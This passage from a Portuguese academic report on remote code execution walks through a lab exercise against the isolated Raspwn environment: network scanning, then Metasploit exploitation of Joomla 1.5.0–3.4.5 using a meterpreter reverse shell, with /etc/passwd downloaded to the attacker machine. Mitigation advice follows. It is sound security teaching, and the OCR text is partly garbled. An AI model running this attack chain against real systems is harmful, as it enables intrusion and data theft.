e 1. A obrigatoriedade de implementacdo de sistemas avangados de monitorizagao
continua

e 2. Protocolos padronizados para gestdo de incidentes

e 3. Mecanismos proativos de mitigacao de vulnerabilidades

e 4. Prazos curtos para notificacdo de incidentes (24 horas para relatorio inicial)

e 5. Regime sancionatorio que pode atingir 10 milhdes de euros ou 2% do volume

de negdcios global

e Paralelamente, os Estados Unidos reforcaram a Executive Order 14028, que
estabelece padroes mandatérios para fornecedores da administragdo federal.

Entre as exigéncias mais relevantes destacam-se:

 Implementagdo de estruturas integradas de mitigacdo de exploragdes (EDR,
WAF, SIEM)
* Adogao de ambientes controlados (sandboxing) para analise de codigo

» Monitorizac¢do continua da cadeia de fornecimento de software
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* Arquiteturas zero-trust para sistemas criticos

No ambito técnico-normativo, iniciativas como o0 MITRE ATT&CK Framework tém
proporcionado uma taxonomia abrangente de taticas, técnicas e procedimentos (TTPs)
utilizados em ataques RCE. Simultaneamente, a Open Web Application Security Project

(OWASP) mantém esfor¢os continuos de:

Catalogacdo das vulnerabilidades mais criticas
Desenvolvimento de guias de referéncia

Criagdo de ferramentas de avalia¢ao aberta

b=

Manutencao de rankings atualizados de ameagas

Estes esforcos combinados - legislativos, normativos e técnicos - refletem uma
compreensdo maturada da natureza multidimensional da ameaga RCE. O presente
capitulo ndo apenas evidencia esta complexidade, mas também fundamenta a relevancia

da andlise empirica subsequente como contributo para:

1. A consciencializagdo sobre vetores de ataque emergentes
A capacitacdo técnica de profissionais de seguranca

O desenvolvimento de arquiteturas resilientes

Eall

A formulagdo de politicas publicas informadas

Neste contexto, a andlise pratica que se segue assume particular relevancia como
exercicio aplicado a exploracao de uma vulnerabilidade critica do tipo RCE, oferecendo
insights valiosos para a construcdo de defesas mais eficazes contra ameacas RCE na era

da transformacao digital acelerada.
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4 LABORATORIO PRATICO

Este capitulo descreve a infraestrutura pratica desenvolvida para simulacdo de técnicas
de seguranca ofensiva, destacando sua arquitetura, configurag@o e relevancia para os

objetivos do estudo.

4.1 CONTEXTUALIZACAO

Este laboratério foi instalado no hardware Raspberry Pi, uma solucido de baixo custo
que tem como objetivo fornecer um ambiente pratico a estudantes e profissionais da

area que pretendam simular técnicas de seguranga ofensiva.

Baseado no sistema Raspberry Pi OS, o ambiente Raspwn incorpora vulnerabilidades
conhecidas em servigos de rede, aplicagdes web, apresenta credenciais fracas e portas
abertas. Disponibiliza um ponto de acesso sem fios, que d4 acesso a uma infraestrutura
de aplicagdes web contidas numa rede isolada, sem qualquer tipo de conectividade com

a rede Internet ou outra.
Utilizou-se um método experimental para demonstracdo de uma exploragdo do tipo

RCE, simulada através de um ambiente virtualizado, neste caso, uma maquina virtual

executando o Kali Linux.

4.2 ARQUITETURA DE SERVICOS DE REDE

O laboratdrio simula uma infraestrutura agregando véarios IPs e servicos de rede
conectaveis através de portas pré-definidas conforme inventariagdo apresentada na

tabela 2.
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Tabela 2 - Inventario de IPs, servigos e portas de comunicagdo

Endereco IP  Servico  Funcio Principal Portas Padriao
192.168.99.1  BIND Servidor DNS Autoritario 53 (TCP/UDP)
192.168.99.10 BIND Servidor DNS Secundario 53 (TCP/UDP)
192.168.99.18  Postfix ﬁiﬁn&ﬁ) Transferéneia de E- o, _(SI.VITP)’
(Submission)
192.168.99.18 Dovecot Servidor de E-mail (IMAP/POP3) ;‘9‘2 (n\g%g)’
192.168.99.10 Samba Partilha de ficheiros Microsoft 139, 445 (TCP)
192.168.99.13 Apache2 Servidor Web (HTTP/HTTPS) 223 (H(Tlgg)’
192.168.99.7  Nginx Servidor Web/Proxy Reverso 323 (H'(F}"ggf)’
127.0.0.1 MySQL Base de Dados Relacional 3306 (TCP)
Server
192.168.99.1  OpenSSH Acesso Remoto Seguro (SSH) 22 (TCP)
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Notas Explicativas:

1. BIND: Servico de resolucdo de nomes na rede. A redundancia (192.168.99.1 e
192.168.99.10) mostra-nos uma arquitetura principal-secundaria.

2. Postfix+Dovecot: Configuragao tipica para servigos de e-mail, onde o Postfix gere o
envio e o Dovecot 0 acesso aos e-mails.

3. Samba: Permite integragdo com sistemas Windows (partilha de ficheiros/recursos).
4. Apache2/Nginx: Ambos disponibilizam conteido web, podendo estar em
configuracdo de balanceamento de carga ou para servicos distintos.

5. MySQL: Configuragdo apenas para acesso local (127.0.0.1), aumentando a
seguranca.

6. OpenSSH: Servico essencial para uma administracao remota.

4.3 ARQUITETURA DE APLICACOES

O laboratorio simula uma arquitetura multicamada para a disponibilizag¢ao de aplicagdes

e pontos de entrada nas aplica¢des consolidados na tabela 3.

Tabela 3 - Compilagdo de aplicagdes e Urls

Aplicaciao Versao URL de Acesso Categoria Porta
Concrete http://playground.raspwn.or

5.6.3.4 CMS 80/TCP
CMS g/concreteS/

http://playground.raspwn.or
Drupal 6.34 CMS 80/TCP

g/drupal-6.34/
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http://playground.raspwn.org/concrete5/
http://playground.raspwn.org/drupal-6.34/
http://playground.raspwn.org/drupal-6.34/

Aplicacio Versao URL de Acesso Categoria Porta
http://playground.raspwn.or
Drupal 7.34 CMS 80/TCP
g/drupal-7.34/
http://playground.raspwn.or
Joomla 2.5.28 . CMS 80/TCP
g/joomla-2/
http://playground.raspwn.or
Joomla 3.4.0 _ CMS 80/TCP
/joomla-3/
E-
osComm http://playground.raspwn.or
2.3 commerc 80/TCP
erce g/oscommerce/
e
http://playground.raspwn.or
phpBB 3.0.13 Forum 80/TCP
g/phpBB3/
WordPre http://playground.raspwn.or CMS/Blo
3.8.1 80/TCP
ss g/wordpress3/ g
WordPre http://playground.raspwn.or CMS/Blo
4.1 80/TCP
ss g/wordpress4/ g
E-
http://playground.raspwn.or
Zen-Cart 1.5.4 commerc 80/TCP
g/zencart/
e
Administ
phpMyA http://playground.raspwn.or racdo de
_ 34.11 . 80/TCP
dmin o/phpmyadmin/ Banco de
Dados
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http://playground.raspwn.org/wordpress3/
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http://playground.raspwn.org/zencart/
http://playground.raspwn.org/phpmyadmin/
http://playground.raspwn.org/phpmyadmin/

Aplicaciao Versao URL de Acesso Categoria Porta

Administ
Samba http://playground.raspwn.or 901/TC
3.6.6 racao
SWAT 2:901/ P
Samba
Roundcu http://playground.raspwn.or .
0.7.2 Webmail g Tcp
be g/roundcube/

4.4 FASES DO EXERCICIO OFENSIVO

O exercicio ofensivo desenvolvido no laboratério estruturou-se em trés fases
fundamentais e sequenciais - reconhecimento, enumeracdo e exploracdo - que
constituem o cerne de qualquer operacdo ofensiva bem-sucedida. O reconhecimento
inicial permitiu mapear a superficie de ataque através da recolha inteligente de
informacgao, estabelecendo as bases para a fase subsequente de enumeracao, onde se
identificaram e catalogaram sistematicamente os potenciais vetores de ataque. Por fim,
a fase de exploracdo materializa o aproveitamento efetivo das vulnerabilidades
identificadas, completando assim o ciclo ofensivo que, quando executado com rigor
metodoldgico, revela ndo apenas as fragilidades dos sistemas analisados, mas também

os mecanismos mais eficazes para a sua mitigagao.

4.4.1 RECONHECIMENTO

A fase de reconhecimento ¢ a etapa fundamental onde se retine inteligéncia sobre os
alvos antes de qualquer teste ofensivo. Apos estabelecer ligacdo ao ambiente, via Wi-
Fi, realizou-se reconhecimento interno para descoberta e mapeamento da infraestrutura.
Através da atribuicdo automatica de IP (DHCP), foi possivel identificar, através do
comando “ifconfig”, que apresenta dados de rede da interface de ligagdo,
especificamente que o endereco IP atribuido a ligagdo do computador JLA-

PENTESTER foi 0 192.168.99.197 com uma netmask 255.255.255.0, o que permite

51


http://playground.raspwn.org:901/
http://playground.raspwn.org:901/
http://playground.raspwn.org/roundcube/
http://playground.raspwn.org/roundcube/

identificar que est4 inserido numa mascara de rede /24 (24 bits reservados para rede),
isto €, 2°(32 - 24) - 2 =278 - 2 =256 - 2 = 254 enderecos disponiveis para atribui¢do,

conforme evidenciado na figura 5.

L kali@JLA-PENTESTER: ~

File Actions Edit View Help

ethl: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 14:4f:d7:cb:36:7c txqueuelen 1000 (Ethernet)
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0

TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

wlan@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.99.197 netmask 255.255.255.0 broadcast 192.168.99.255
inet6 fe8@::5825:fe4c:42ee:97c9 prefixlen 64 scopeid 0x20<Llink>
ether 1c:bf:ce:c0:87:2c txqueuelen 1000 (Ethernet)
RX packets 7 bytes 1317 (1.2 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 19 bytes 2716 (2.6 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Figura 5 - Resultado do comando ifconfig
A execucdo do comando “arp -a” (Address Resolution Protocol) apresenta a tabela
arp do sistema, ou seja, mapeia enderegos IP para enderecos fisicos (MAC) em rede.
Esta informacao ¢ valiosa para identificar dispositivos que estejam conectados, ou seja,

possiveis alvos (ver figura 6).

— ~

? (192.168.99.161) at f8:54:f6:9f:99:f3 [ether] on wlan®
playground.raspwn.org (192.168.99.13) at b8:27:eb:34:99:76 [ether] on wlan@

ns2.playground.raspwn.org (192.168.99.10) at b8:27:eb:34:99:76 [ether] on wlan@
nsl.playground.raspwn.org (192.168.99.1) at b8:27:eb:34:99:76 [ether] on wlan®

mail.playground.raspwn.org (192.168.99.18) at b8:27:eb:34:99:76 [ether] on wlan@
nginx.playground.raspwn.org (192.168.99.7) at b8:27:eb:34:99:76 [ether] on wlan®@

Figura 6 - mapeamento de enderecos ativos na rede
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4.4.2 ENUMERACAO

A fase de enumeragdo neste ambiente visou obter, de forma estruturada,
informacgdes sobre servicos e vulnerabilidades. Esta abordagem estruturada permitiu
priorizar alvos com base em vulnerabilidades conhecidas. Um network mapper, como
a aplicacdo nmap, ¢ a ferramenta essencial para enumeragdo de redes e servigos. A
execugdo desta sem recorrer a opgdes especificas, apenas solicitando um varrimento por
toda a rede onde o Kali Linux tem conectividade, permitiu identificar enderegos IP
contactaveis, resolucdo de nomes, endpoints disponiveis, portas abertas e servicos em

execucao, gerando entregaveis objetivos, conforme as figuras 7 e 8.
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. 192.168.99.0/24

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-18 19:37 EDT
Nmap scan report for nsl.playground.raspwn.org (192.168.99.1)
Host is up (0.0082s latency).

Not shown: 993 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

139/tcp open netbios-ssn

445/tcp open microsoft-ds

901/tcp open samba-swat

5001/tcp open commplex-link

8080/tcp open http-proxy

MAC Address: B8:27:EB:34:99:76 (Raspberry Pi Foundation)

Nmap scan report for nginx.playground.raspwn.org (192.168.99.7)
Host is up (0.010s latency).

Not shown: 994 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

139/tcp open netbios-ssn

445/tcp open microsoft-ds

901/tcp open samba-swat

5001/tcp open commplex-link

8080/tcp open http-proxy

MAC Address: B8:27:EB:34:99:76 (Raspberry Pi Foundation)

Nmap scan report for ns2.playground.raspwn.org (192.168.99.10)
Host is up (0.0074s latency).

Not shown: 992 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

901/tcp open samba-swat

5001/tcp open commplex-link

8080/tcp open http-proxy

MAC Address: B8:27:EB:34:99:76 (Raspberry Pi Foundation)

Figura 7 — Portscan a rede com identificag@o dos trés hosts iniciais
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Nmap scan report for mail.playground.raspwn.org (192.168.99.18)
Host is up (0.013s latency).

Not shown: 989 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

25/tcp open smtp

139/tcp open netbios-ssn

143/tcp open imap

443/tcp open https

445/tcp open microsoft-ds

587/tcp open submission

901/tcp open samba-swat

993/tcp open imaps

5001/tcp open commplex-link

8080/tcp open http-proxy

MAC Address: B8:27:EB:34:99:76 (Raspberry Pi Foundation)

Nmap scan report for 192.168.99.161

Host is up (0.038s latency).

Not shown: 998 filtered tcp ports (no-response)

PORT STATE SERVICE

5800/tcp open vnc-http

5900/tcp open vnc

MAC Address: F8:54:F6:9F:99:F3 (AzureWave Technology)

Nmap scan report for 192.168.99.197

Host is up (0.0000050s latency).

All 1000 scanned ports on 192.168.99.197 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (7 hosts up) scanned in 79.88 seconds

Figura 8 — Portscan a rede com identificag@o dos dois tltimos hosts

Verifica-se que os IPs 192.168.99.10 e 192.168.99.13 apresentam portas abertas
associadas a formatos web (80/443, protocolo HTTP e HTTPS, respetivamente), pelo
que, de seguida, executou-se a aplicagdo WhatWeb contra os enderecos IPs
identificados através do protocolo HTTP, com o objetivo de mapear de forma célere a
superficie de ataque. Esta poderosa ferramenta de fingerprint de tecnologias web
identificou a versdo dos servidores de paginas (Apache 2.2.22); no caso do IP
192.168.99.13, apresentou adicionalmente informagdes de um potencial Web

Playground, conforme figura 9.
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http://192.168.99.10
[200 OK] Apache[2.2.22], Cookies[PHPSESSID], Country[RES
com], X-Powered-By[PHP/5.4.36-0+deb7ul]

~

http://192.168.99.13
[200 OK] Apache[2.2.22], Country[RESERVED][ ], Email[ad
me to the Playground! | RasPwn Web Playground], X-Powered-By[PHP/5.4.36-0+deb

Figura 9 - Resultados da pesquisa de formatos web associadas a IPs

De seguida, foi selecionado o IP 192.168.99.13 como alvo para obten¢do de mais
informacdo sobre o referido playground. Executou-se uma indexacdo web, através da
aplicagdo desenvolvida pelo Google, Skipfish, com o objetivo de obter informacdes
mais detalhadas sobre as aplicacdes que executam dentro do Apache (ver figura 10 e
11). Incluiu-se a opgdo -o para que fosse gerado um relatério dindmico em formato
HTML para anélise e identificacdo de eventuais configuracdes inseguras, problemas de
contetido e identificacdo do versionamento das aplicacdes web disponibilizadas (ver

figura 12).
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-] kali@JLA-PENTESTER: ~
File Actions Edit View Help

skipfish version 2.10b by lcamtufggoogle.com

0:00:31.345

82 (3.4/s), 70 kB in, 26 kB out (3.1 kB/s)

47 kB in, 146 kB out (50.9% gain)

5 net errors, @ proto errors, 3 retried, @ drops
47 total (5.5 req/conn)

@ failures, 5 timeouts, 8 purged

268 skipped

178

131 total, 4 done (3.05%)

108 pending, 17 init, 2 attacks, @ dict

@ spotted

2 serv, 31 dir, @ file, @ pinfo, 85 unkn, 14 par, 0 val
15 info, 5 warn, 31 low, 15 medium, @ high impact

121 words (121 new), 4 extensions, 256 candidates

77 total

Figura 10 - Modo de visualizagao estatistico da aplicacdo skipfish em execugio
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kali@JLA-PENTESTER: ~
File Actions Edit View Help

skipfish version 2.10b by lcamtufggoogle.com

://192.168.99.13/joomla-3/
://192.168.99.13/joomla-3/
://192.168.99.13/joomla-3/
1//192. .99.13/joomla-3/
://192.168.99.13/joomla-3/
://192.168.99.13/joomla-3/
://192.168.99.13/phpmyadmin

://192.168.99.13/joomla-3/
1//192. .99.13/wordpress4
://192.168.99.13/mutillidae/

idle>

idle>

idle>

idle>

idle>

Figura 11 - Modo de visualizag¢ao da descoberta de pastas da aplicagdo skipfish em execucao

Foi possivel identificar, ver figura 12, a execug¢do de aplicacdes web, tais como: Drupal
7.34, phpMyAdmin, WordPress 3, Zen Cart, Mutillidae e Joomla 3. Sobre o Joomla 3,
também foi possivel identificar subpastas aplicacionais, uma delas, “administrator”,
que corresponde ao painel de administragdo da aplicagdo. Dado que foi a aplicagdo onde
foi possivel encontrar seu versionamento, suspeitas de problemas de conteudo e,

eventualmente, configuracdes inseguras, ela foi selecionada para o capitulo seguinte.
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Scanner version:  2.10b Scan date:  Fri Jul 18

smimlg/h Random seed: xdeel9efl Total time: hri5m ’L)‘:Li':; h‘n

Crawl results - click to expand:

0 4 http://192.168.99.131 16 O34 @171 51 €152
0C 8269 textht 1one] [ show trace +

o 4 http://192.168.99.13:901 @1 ©3

1e] [ show trace +

Document type overview - click to expand:

= application/javascript (4

= application/xhtml+xml (10

1. http://192.168.99.13/phpmyadmin (7356 byte
2. http://192.168.99.13/joomla-3/ (17586 bytes
3. http://192.168.99.13/joomla-3/administrator/ (6001
4. http://192.168.99.13/joomla-3/templates/ (31 b
5. http://192.168.99.13/joomla-3/media/jui/ (3
6. http://192.168.99.13/joomla-3/ (44
7. http://192.168.99.13/wordpress3/
8. http://192.168.99.13/zencart/ (5
9. http://192.168.99.13/drupal-7.
10. http://192.168.99.13/mutillidae

< text/html (4

show trace +

= textlplain (4)

Figura 12 - Relatorio em formato HTML gerado pela aplicagdo skipfish

4.4.3 EXPLORACAO

Nesta fase, a utilizagdo ativa de vulnerabilidades previamente identificadas ¢ explorada
através de técnicas especificas para comprometer sistemas e elevar privilégios.
Ferramentas como o framework Metasploit automatizam a exploragdo, ao invés de
abordagens manuais para manipulagdo de pardmetros em aplicagdes web, o que pode
demonstrar a criticidade de configuragdes incongruentes. No Kali Linux, foi invocado
o framework Metasploit através de sua interface principal, pelo comando msfconsole
(figura 13).

= kali@JLA-PENTESTER: ~
File Actions Edit View Help

~

Metasploit tip: Start commands with a space to avoid saving them to history

[i*] Starting the Metasploit Framework console.../

Figura 13 - Carregamento do Framework Metasploit
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A sua arquitetura modular e extensivel, composta pela integracio de varios
componentes, carregados na inicializa¢do da mesma, acelera uma andlise de seguranca

e/ou vulnerabilidades e/ou um processo de penetragdo duma forma controlada.

=l kali@JLA-PENTESTER: ~
File Actions Edit View Help

metasploit v6.4.64-dev

2519 exploits - 1296 auxiliary - 431 post
1607 payloads - 49 encoders - 13 nops

9 evasion

=[
=[
=[
=[

Metasploit Documentation: https://docs.metasploit.com/

msf6 > i

Figura 14 — Terminal do Framework Metasploit

Tabela 4 - Lista de Modulos disponiveis no metasploit com descritivos e exemplos

Tipo de -
Médulo Descricao Exemplo
. Codigos que exploram exploit/multi/http/joomla unser
Exploits . . S
vulnerabilidades especificas. ialize rce
Codigos executados ap6s a windows/x64/meterpreter/rever
Payloads ~ i
exploracgdo (ex: shells reversos). se_tep
Ferramentas  para  varrimento,
Auxiliary enumeragdo e ataques (DoS, brute auxiliary/scanner/ssh/ssh_login

force).
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Post- Modulos para  pos-exploragdo

Exploitation  (recolha de dados, persisténcia). post/windows/gather/hashdump

Ofusca payloads para evadir a

Encoders detecao por solugdes de antivirus. x86/shikata_ga_nai
NOPs (No Gera instrugdes vazias para .
Operation) estabilizar exploits. x86/single_byte

Gera payloads ou técnicas para
Evasion contornar solugdes de seguranga
(AV, EDR, IPS).

evasion/windows/windows_def
ender_exe

De forma automatica, ¢ efetuado o carregamento das componentes apresentadas em
cima e disponibiliza-se uma shell que permite inserir comandos para tirar partido das
suas funcionalidades. Neste caso, foi efetuada uma pesquisa pelo nome da aplicagdo
que havia sido identificada no capitulo anterior (Joomla) através do comando “search
joomla”. Essa procura devolveu 17 resultados relacionados com a aplicag@o, conforme

figura 15.

rch joomla

tion Scanner
ecution

normal

joomla_.

bapp/joomla_

normal

normal
normal

Figura 15 - Resultados da pesquisa efetuada pela aplicagdo joomla

Foi selecionada a op¢do niimero nove dos resultados apresentados, comando “use 97,

ou seja, o carregamento do modulo (exploit/multi/http/joomla http header rce) que
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visa explorar uma vulnerabilidade de Execu¢do Remota de Codigo (RCE) em versdes

vulneraveis da aplicacdo Joomla através da manipulacdo de cabe¢alhos HTTP.

Ap6s o carregamento do modulo ¢ apresentada informagao relacionada com o mesmo,
neste caso, o exploit. Destaca-se a informagao sobre o intervalo de versdes da aplicagdo
que estdo vulneraveis a este tipo de ataque. Neste caso, o exploit pode ser executado
com sucesso, se a aplicacdo se encontrar em execu¢do entre a versao 1.5.0 e a 3.4.5,

conforme descrito na Figura 16.

nsf6 > use 9
No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit( ) > show options

Module options (exploit/multi/http/joomla_http_header_rce):

Name Current Setting Required Description
HEADER USER-AGENT yes The header to use for exploitation (Accepted: USER-AGENT, X-FORWARDED-FOR)

Proxies no xy chain of format type:host:port[,type:host:port][ ... ]

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI  / yes The base path to the Joomla application

VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST 192.168.99.197 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

0 Joomla 1.5.0 - 3.4.

View the full module info with the , or command.

msf6 exploit(

Figura 16 - Opgdes e informagdes do exploit

A estrutura padronizada do Metasploit para configuracao de exploits, payloads e opgdes
permite visualizar opgdes organizadas em categorias e identificar quais sdo as opgdes
requeridas, bem como qual ¢ a configuragdo necessaria para que seja possivel executar
o mesmo. Foi definido o campo alvo, através do comando “set RHOSTS
192.168.99.13” e o diretorio pai onde o alvo tem a aplicagdo em execugdo, através do

comando “set TARGETURI /joomla-3” (Figura 17).
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msf6 exploit( ) > show options
Module options (exploit/multi/http/joomla_http_header_rce):

Name Current Setting Required Description

HEADER USER-AGENT s The header to use for exploitation (Accepted: USER-AGENT, X-FORWARDED-FOR)

Proxies A proxy chain of format type:host:port[,type:host:port][ ... ]

RHOSTS The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing connections

TARGETURI / The base path to the Joomla application

VHOST HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST 192.168.99.197 The listen address (an interface may be specified)
LPORT 4444 The listen port

Exploit target:

Id Name

o Joomla 1.5.0 - 3.4.5

View the full module info with the , or i command .

msf6 exploit( ) > set RHOSTS 192.168.99.13
RHOSTS = 192.168.99.13

msf6 exploit( ) > set TARGETURI /joomla-3
TARGETURI = /joomla-3

msf6 exploit( N |

Figura 17 - Configuragdo do exploit

Terminada a configuragdo, partiu-se para a execucdo deste através do comando

“exploit”, conforme Figura 18.

msf6 exploit( ) > exploit
Started reverse TCP handler on 192.168.99.197:4444
192.168.99.13:80 - Sending payload
Sending stage (40004 bytes) to 192.168.99.1
Meterpreter session 2 opened (192.168.99.197:4444 — 192.168.99.1:37716) at 2025-07-18 21:17:58 -0400

meterpreter > |

Figura 18 - Execugdo do exploit, carregamento do payload e recegdo de terminal remoto

O despoletar da execucdo do exploit significou a inicializagdo de um [listener na
porta 4444 do 1P 192.168.99.197 (méaquina do cibe criminoso) para receber a conexao
reversa do alvo. Como a¢do, o exploit enviou um payload malicioso para o servidor

vulneravel (192.168.99.13:80) na porta do servigo.

O alvo conectou-se & maquina do cibe criminoso, sendo fornecido o acesso a um shell
interativo (meterpreter), que opera em memdria para evitar a detegdo por solucdes de
antivirus e que disponibiliza recursos para uma exploracao eficaz, persisténcia de acesso

¢ lateralizagao.
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= kali@JLA-PENTESTER: /tmp

File Actions Edit View Help

root:x:0:0:root:/root:/bin/bash
1:1:daemon:/usr/sbin:/bin/sh
:bin:/bin:/bin/sh
:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
1p:x:7:7:1p:/var/spool/1lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:ww-data:/var/ww:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
libuuid:x:100:101:: /var/lib/1libuuid:/bin/sh
pi:x:1000:1000:,,,:/home/pi:/bin/bash
sshd:x:101:65534 :: /var/run/sshd:/usr/sbin/nologin

02:104 :: /home/ntp:/bin/false

msf6 exploit( ) > run
Started reverse TCP handler on 192.168.99.197:4444
192.168.99.13:80 - Sending payload ...
Sending stage (40004 bytes) to 192.168.99.1
Meterpreter session 1 opened (192.168.99.197:4444 — 192.168.99.1:40262) at 2025-07-21 18:14:31 -0400

meterpreter > download /etc/passwd /tmp
Downloading: /etc/passwd — /tmp/passwd
Downloaded 1.60 KiB of 1.60 KiB (100.0%): /etc/passwd — /tmp/passwd
Completed : /etc/passwd — /tmp/passwd

meterpreter >

Figura 19 - Exfiltragdo de ficheiro e visualizagdo do seu conteudo

A execu¢do do comando “download /etc/passwd /tmp” no Meterpreter foi uma agdo
critica em operagdes de exfiltracdo de dados. Foi possivel transferir informacdes

sensiveis do sistema comprometido para a maquina Kali.

Tabela 5 - Identificagao e significado do comando de exfiltragdo

Componente Significado Impacto

Instrui o Meterpreter a transferir um
download ficheiro do alvo para o cibe
Criminoso.

Permite roubo de dados
confidenciais.

Expde  estrutura de
utilizadores, facilitando
ataques de forca bruta ou
escalonamento.

Ficheiro do Linux que lista todos os
/etc/passwd utilizadores do sistema (incluindo
UIDs/GIDs).

Local temporario para
andlise posterior (ex:
extracdo de hashes).

Diretério local (do cibe criminoso)

ftmp/ onde o ficheiro sera copiado.
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Esta abordagem trifasica, assente em principios técnicos solidos e procedimentos
estruturados, permitiu uma avaliagdo abrangente da postura de seguranca da
infraestrutura laboratorial, destacando-se pela sua efic4cia na identifica¢do proativa de
vulnerabilidades criticas.

Verificou-se também a eficécia deste exploit contra instalagdes vulneraveis da aplicacdo

Joomla compreendidas no intervalo de versdes 1.5.0 a 3.4.5.

5 - ANALISE E DISCUSSAO DE RESULTADOS

Esta secdo apresenta uma andlise critica dos resultados obtidos durante a exploragdo da
vulnerabilidade RCE no ambiente Raspwn, com foco na aplicacdo Joomla e no seu

impacto, como uma exfiltracao de dados via Meterpreter.

A exploragdo de vulnerabilidades do tipo RCE representa um dos principais riscos
quando se fala de ameacas cibernéticas. Os resultados sdo discutidos a luz de teorias de

seguranca cibernética, boas praticas e limitacdes do ambiente controlado.

Esta analise reforca a importancia desses ambientes contidos para exercicios praticos
de ciberseguranga, que combinam vulnerabilidades controladas com desafios realistas,

preparando profissionais da 4rea para desafios complexos de seguranga cibernética.

Com base em dados empiricos e investigacdo recente, sdo abordados os desafios, os
potenciais impactos, as técnicas vanguardistas de exploragdo, assim como estratégias

para efetuar a mitigacdo da ameaca ou do incidente.
A exploracdo da vulnerabilidade RCE na aplicacdo Joomla foi efetuada através de um

método de serializacdo insegura de cookies (PHPSESSID) para execucdo remota de

cddigo, resultando em um ganho de sessao privilegiada via Meterpreter, e possibilitando
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a exfiltragdo de dados criticos, como o ficheiro /etc/passwd, que foi copiado para a

maquina do cibe criminoso.

Fatores como a configuracdo insegura do Joomla, a falta de atualizacdo (a versdo
explorada ¢ vulneravel por ndo aplicar patches de serializagdo segura e por APIs

expostas que permitiram acesso ndo autenticado) facilitaram a exploragao.

A simplificacdo do ambiente devido a auséncia de mecanismos de protecao, tais como
a falta de logs em tempo real, componentes como WAF e/ou EDR, assim como
permissdes excessivas que permitiram, em modo leitura, o acesso publico a ficheiros

fundamentais do sistema (/etc/passwd).

A utilizagdo de ferramentas eficazes, como Metasploit/Meterpreter, automatizou a
exploragcdo e a pos-exploracdo através de comunicagdo criptografada e execucdo em

memoria.

O impacto simulado pode ser extrapolado para um cendrio real, como a exfiltracio de

dados sensiveis e o comprometimento de contas privilegiadas.

Ligdes-chave, como a priorizagdo da aplicagdo célere de corregdes as aplicagdes apos
sua disponibilizacdo, o hardening de servicos, como o restringimento de permissdes em
ficheiros sensiveis, bem como uma monitoriza¢do continua, sdo essenciais para detetar

exploragdes.

6 LIMITACOES

Ambiente laboratorial ndo simula laténcias de rede semelhantes a redes do tipo WAN ou
em evasdes avancgadas. Vulnerabilidades previsiveis através de falhas colocadas

deliberadamente.
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Complexidade reduzida, por inexisténcia de componentes tais como WAF, EDR e

segmentacao de rede.

Configuracdes simplificadas devido a auséncia de configuragdes de hardening. Dados

sintéticos por auséncia de prote¢do através de SELinux/AppArmor.

7 BOAS PRATICAS DE CONFIGURACAO E MITIGACAO

Desativacao de interfaces de gestao remota (/administrator/*) ou protegé-las com MFA.
Implementagcdo de Web Application Firewall que permitird o bloqueio geografico,

higienizacao de ligacdes, aprendizagem de navegacdo e protecao contra zero days.

Salvaguarda da informagdo, com agendamento recursivo, para tipos de dispositivos ndo
acessiveis através da rede (por exemplo, Tapes), que em caso de utilizacdo se encontram

limpas de adulteracdo maliciosa e permitem o restauro integral dos dados.

Instalacdo de todas as corregdes disponiveis de vulnerabilidades conhecidas, quer ao
nivel aplicacional (incluindo dependéncias, plugins, frameworks, bibliotecas) como na

infraestrutura base (sistema operativo e servicos de rede disponibilizados).

Instalagao de solucdes de antivirus / EDR e configuracdo de firewall do tipo de filtragem
de pacotes; instalagdo de solug¢des de IDS + IPS para detecdo e bloqueio de atividade

suspeita.

Segmentagdo de rede como estratégia para reduzir a superficie de ataque e limitar o
movimento lateral de ameacas; proteger APIs e endpoints através da implementacao de
controlos de acesso granular (autorizagdo) e mecanismos robustos de autenticacdo (por
exemplo, OAuth 2.0 + OpenlID Connect (OIDC)); analisar e correlacionar logs de

seguranga, aplicagdo, rede e sistemas;

Envio de logs para plataforma externa (Syslog / SIEM);
